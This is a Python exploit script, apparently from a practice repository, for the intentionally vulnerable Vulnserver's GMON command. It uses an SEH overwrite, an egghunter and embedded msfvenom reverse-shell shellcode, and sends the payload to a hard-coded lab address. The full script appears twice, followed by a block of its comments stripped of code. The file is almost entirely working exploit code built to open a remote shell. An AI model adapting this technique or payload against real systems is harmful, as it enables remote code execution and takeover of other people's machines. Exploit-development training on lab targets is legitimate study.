<filename>vulnserver/gmon/gmon_seh_egghunter.py
#!/usr/bin/python3
"""Exploit code for vulnserver GMON seh overwrite with egghunter"""

import socket
import struct


def add_chars() -> bytes:
    """Returns list of all possible bytes for testing bad characters"""
    # bad_chars: \x00
    chars = b""
    chars += b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f"
    chars += b"\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
    chars += b"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f"
    chars += b"\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"
    chars += b"\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f"
    chars += b"\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
    chars += b"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f"
    chars += b"\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
    chars += b"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f"
    chars += b"\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
    chars += b"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf"
    chars += b"\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
    chars += b"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf"
    chars += b"\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
    chars += b"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef"
    chars += b"\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
    return chars


def add_pattern() -> bytes:
    """Reads pattern file and returns bytes"""
    with open("pattern_5k.txt") as in_file:
        pattern = in_file.readline()
    return bytes(pattern, "utf-8")


def add_shellcode() -> bytes:
    """ Returns shellcode generated by msfvenom"""
    # msfvenom -p windows/shell_reverse_tcp EXITFUNC=thread lhost=eth0
    # lport=4444 -b "\x00" -f python
    # Payload size: 351 bytes
    shellcode = b""
    shellcode += b"\xbf\x3d\x22\x4d\x70\xdd\xc3\xd9\x74\x24\xf4\x58\x33"
    shellcode += b"\xc9\xb1\x52\x31\x78\x12\x83\xe8\xfc\x03\x45\x2c\xaf"
    shellcode += b"\x85\x49\xd8\xad\x66\xb1\x19\xd2\xef\x54\x28\xd2\x94"
    shellcode += b"\x1d\x1b\xe2\xdf\x73\x90\x89\xb2\x67\x23\xff\x1a\x88"
    shellcode += b"\x84\x4a\x7d\xa7\x15\xe6\xbd\xa6\x95\xf5\x91\x08\xa7"
    shellcode += b"\x35\xe4\x49\xe0\x28\x05\x1b\xb9\x27\xb8\x8b\xce\x72"
    shellcode += b"\x01\x20\x9c\x93\x01\xd5\x55\x95\x20\x48\xed\xcc\xe2"
    shellcode += b"\x6b\x22\x65\xab\x73\x27\x40\x65\x08\x93\x3e\x74\xd8"
    shellcode += b"\xed\xbf\xdb\x25\xc2\x4d\x25\x62\xe5\xad\x50\x9a\x15"
    shellcode += b"\x53\x63\x59\x67\x8f\xe6\x79\xcf\x44\x50\xa5\xf1\x89"
    shellcode += b"\x07\x2e\xfd\x66\x43\x68\xe2\x79\x80\x03\x1e\xf1\x27"
    shellcode += b"\xc3\x96\x41\x0c\xc7\xf3\x12\x2d\x5e\x5e\xf4\x52\x80"
    shellcode += b"\x01\xa9\xf6\xcb\xac\xbe\x8a\x96\xb8\x73\xa7\x28\x39"
    shellcode += b"\x1c\xb0\x5b\x0b\x83\x6a\xf3\x27\x4c\xb5\x04\x47\x67"
    shellcode += b"\x01\x9a\xb6\x88\x72\xb3\x7c\xdc\x22\xab\x55\x5d\xa9"
    shellcode += b"\x2b\x59\x88\x7e\x7b\xf5\x63\x3f\x2b\xb5\xd3\xd7\x21"
    shellcode += b"\x3a\x0b\xc7\x4a\x90\x24\x62\xb1\x73\x8b\xdb\xda\xe0"
    shellcode += b"\x63\x1e\x1c\xf6\x2f\x97\xfa\x92\xdf\xf1\x55\x0b\x79"
    shellcode += b"\x58\x2d\xaa\x86\x76\x48\xec\x0d\x75\xad\xa3\xe5\xf0"
    shellcode += b"\xbd\x54\x06\x4f\x9f\xf3\x19\x65\xb7\x98\x88\xe2\x47"
    shellcode += b"\xd6\xb0\xbc\x10\xbf\x07\xb5\xf4\x2d\x31\x6f\xea\xaf"
    shellcode += b"\xa7\x48\xae\x6b\x14\x56\x2f\xf9\x20\x7c\x3f\xc7\xa9"
    shellcode += b"\x38\x6b\x97\xff\x96\xc5\x51\x56\x59\xbf\x0b\x05\x33"
    shellcode += b"\x57\xcd\x65\x84\x21\xd2\xa3\x72\xcd\x63\x1a\xc3\xf2"
    shellcode += b"\x4c\xca\xc3\x8b\xb0\x6a\x2b\x46\x71\x8a\xce\x42\x8c"
    shellcode += b"\x23\x57\x07\x2d\x2e\x68\xf2\x72\x57\xeb\xf6\x0a\xac"
    shellcode += b"\xf3\x73\x0e\xe8\xb3\x68\x62\x61\x56\x8e\xd1\x82\x73"
    return shellcode


def build_buf(shellcode: bytes = b"") -> bytes:
    """ Builds buffer for GMON exploit of vulnserver with egghunter"""
    # Bad chars: \x00
    # *************
    # Buffer Layout
    # *************
    #
    # GMON /.../
    #
    #   \x90's (dynamic length)
    # + egg - flopflop (8 bytes)
    # + shellcode (dynamic length)
    # ----------------------------
    # Overflow 3514 bytes :: SEH record (nseh field) at (offset 3514)
    #
    # nseh - 0x04750674 net jump over seh to egghunter
    #
    # seh - 0x625010b4 : pop ebx # pop ebp # ret
    #
    # egghunter for flopflop
    #
    # filler to 5012 bytes
    buf = b"GMON /.../"
    buf += b"\x90" * (3514 - len(shellcode) - 8)
    buf += b"flopflop"
    buf += shellcode
    buf += struct.pack("<L", 0x04750674)
    buf += struct.pack("<L", 0x625010B4)
    buf += b"\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
    buf += b"\xef\xb8\x66\x6c\x6f\x70\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"
    buf += b"C" * (5012 - len(buf))
    return buf


def send_exploit(ip: str, port: int) -> None:
    """Sends exploit for vulnserver"""
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    
    try:
        sock.connect((ip, port))
        print(sock.recv(1024).decode())
    except Exception as msg:
        print(msg)
        exit()

    sock.settimeout(5)
    sock.send(build_buf(add_shellcode()))
    try:
        print(sock.recv(1024))
    except socket.timeout:
        pass
    finally:
        sock.close()


if __name__ == "__main__":
    send_exploit("192.168.99.100", 9999)

<filename>vulnserver/gmon/gmon_seh_egghunter.py
#!/usr/bin/python3
"""Exploit code for vulnserver GMON seh overwrite with egghunter"""

import socket
import struct


def add_chars() -> bytes:
    """Returns list of all possible bytes for testing bad characters"""
    # bad_chars: \x00
    chars = b""
    chars += b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f"
    chars += b"\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
    chars += b"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f"
    chars += b"\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"
    chars += b"\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f"
    chars += b"\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
    chars += b"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f"
    chars += b"\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
    chars += b"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f"
    chars += b"\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
    chars += b"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf"
    chars += b"\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
    chars += b"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf"
    chars += b"\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
    chars += b"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef"
    chars += b"\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
    return chars


def add_pattern() -> bytes:
    """Reads pattern file and returns bytes"""
    with open("pattern_5k.txt") as in_file:
        pattern = in_file.readline()
    return bytes(pattern, "utf-8")


def add_shellcode() -> bytes:
    """ Returns shellcode generated by msfvenom"""
    # msfvenom -p windows/shell_reverse_tcp EXITFUNC=thread lhost=eth0
    # lport=4444 -b "\x00" -f python
    # Payload size: 351 bytes
    shellcode = b""
    shellcode += b"\xbf\x3d\x22\x4d\x70\xdd\xc3\xd9\x74\x24\xf4\x58\x33"
    shellcode += b"\xc9\xb1\x52\x31\x78\x12\x83\xe8\xfc\x03\x45\x2c\xaf"
    shellcode += b"\x85\x49\xd8\xad\x66\xb1\x19\xd2\xef\x54\x28\xd2\x94"
    shellcode += b"\x1d\x1b\xe2\xdf\x73\x90\x89\xb2\x67\x23\xff\x1a\x88"
    shellcode += b"\x84\x4a\x7d\xa7\x15\xe6\xbd\xa6\x95\xf5\x91\x08\xa7"
    shellcode += b"\x35\xe4\x49\xe0\x28\x05\x1b\xb9\x27\xb8\x8b\xce\x72"
    shellcode += b"\x01\x20\x9c\x93\x01\xd5\x55\x95\x20\x48\xed\xcc\xe2"
    shellcode += b"\x6b\x22\x65\xab\x73\x27\x40\x65\x08\x93\x3e\x74\xd8"
    shellcode += b"\xed\xbf\xdb\x25\xc2\x4d\x25\x62\xe5\xad\x50\x9a\x15"
    shellcode += b"\x53\x63\x59\x67\x8f\xe6\x79\xcf\x44\x50\xa5\xf1\x89"
    shellcode += b"\x07\x2e\xfd\x66\x43\x68\xe2\x79\x80\x03\x1e\xf1\x27"
    shellcode += b"\xc3\x96\x41\x0c\xc7\xf3\x12\x2d\x5e\x5e\xf4\x52\x80"
    shellcode += b"\x01\xa9\xf6\xcb\xac\xbe\x8a\x96\xb8\x73\xa7\x28\x39"
    shellcode += b"\x1c\xb0\x5b\x0b\x83\x6a\xf3\x27\x4c\xb5\x04\x47\x67"
    shellcode += b"\x01\x9a\xb6\x88\x72\xb3\x7c\xdc\x22\xab\x55\x5d\xa9"
    shellcode += b"\x2b\x59\x88\x7e\x7b\xf5\x63\x3f\x2b\xb5\xd3\xd7\x21"
    shellcode += b"\x3a\x0b\xc7\x4a\x90\x24\x62\xb1\x73\x8b\xdb\xda\xe0"
    shellcode += b"\x63\x1e\x1c\xf6\x2f\x97\xfa\x92\xdf\xf1\x55\x0b\x79"
    shellcode += b"\x58\x2d\xaa\x86\x76\x48\xec\x0d\x75\xad\xa3\xe5\xf0"
    shellcode += b"\xbd\x54\x06\x4f\x9f\xf3\x19\x65\xb7\x98\x88\xe2\x47"
    shellcode += b"\xd6\xb0\xbc\x10\xbf\x07\xb5\xf4\x2d\x31\x6f\xea\xaf"
    shellcode += b"\xa7\x48\xae\x6b\x14\x56\x2f\xf9\x20\x7c\x3f\xc7\xa9"
    shellcode += b"\x38\x6b\x97\xff\x96\xc5\x51\x56\x59\xbf\x0b\x05\x33"
    shellcode += b"\x57\xcd\x65\x84\x21\xd2\xa3\x72\xcd\x63\x1a\xc3\xf2"
    shellcode += b"\x4c\xca\xc3\x8b\xb0\x6a\x2b\x46\x71\x8a\xce\x42\x8c"
    shellcode += b"\x23\x57\x07\x2d\x2e\x68\xf2\x72\x57\xeb\xf6\x0a\xac"
    shellcode += b"\xf3\x73\x0e\xe8\xb3\x68\x62\x61\x56\x8e\xd1\x82\x73"
    return shellcode


def build_buf(shellcode: bytes = b"") -> bytes:
    """ Builds buffer for GMON exploit of vulnserver with egghunter"""
    # Bad chars: \x00
    # *************
    # Buffer Layout
    # *************
    #
    # GMON /.../
    #
    #   \x90's (dynamic length)
    # + egg - flopflop (8 bytes)
    # + shellcode (dynamic length)
    # ----------------------------
    # Overflow 3514 bytes :: SEH record (nseh field) at (offset 3514)
    #
    # nseh - 0x04750674 net jump over seh to egghunter
    #
    # seh - 0x625010b4 : pop ebx # pop ebp # ret
    #
    # egghunter for flopflop
    #
    # filler to 5012 bytes
    buf = b"GMON /.../"
    buf += b"\x90" * (3514 - len(shellcode) - 8)
    buf += b"flopflop"
    buf += shellcode
    buf += struct.pack("<L", 0x04750674)
    buf += struct.pack("<L", 0x625010B4)
    buf += b"\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
    buf += b"\xef\xb8\x66\x6c\x6f\x70\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"
    buf += b"C" * (5012 - len(buf))
    return buf


def send_exploit(ip: str, port: int) -> None:
    """Sends exploit for vulnserver"""
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    
    try:
        sock.connect((ip, port))
        print(sock.recv(1024).decode())
    except Exception as msg:
        print(msg)
        exit()

    sock.settimeout(5)
    sock.send(build_buf(add_shellcode()))
    try:
        print(sock.recv(1024))
    except socket.timeout:
        pass
    finally:
        sock.close()


if __name__ == "__main__":
    send_exploit("192.168.99.100", 9999)

#!/usr/bin/python3 Exploit code for vulnserver GMON seh overwrite with egghunter Returns list of all possible bytes for testing bad characters # bad_chars: \x00 Reads pattern file and returns bytes Returns shellcode generated by msfvenom # msfvenom -p windows/shell_reverse_tcp EXITFUNC=thread lhost=eth0 # lport=4444 -b "\x00" -f python # Payload size: 351 bytes Builds buffer for GMON exploit of vulnserver with egghunter # Bad chars: \x00 # ************* # Buffer Layout # ************* # # GMON /.../ # #   \x90's (dynamic length) # + egg - flopflop (8 bytes) # + shellcode (dynamic length) # ---------------------------- # Overflow 3514 bytes :: SEH record (nseh field) at (offset 3514) # # nseh - 0x04750674 net jump over seh to egghunter # # seh - 0x625010b4 : pop ebx # pop ebp # ret # # egghunter for flopflop # # filler to 5012 bytes Sends exploit for vulnserver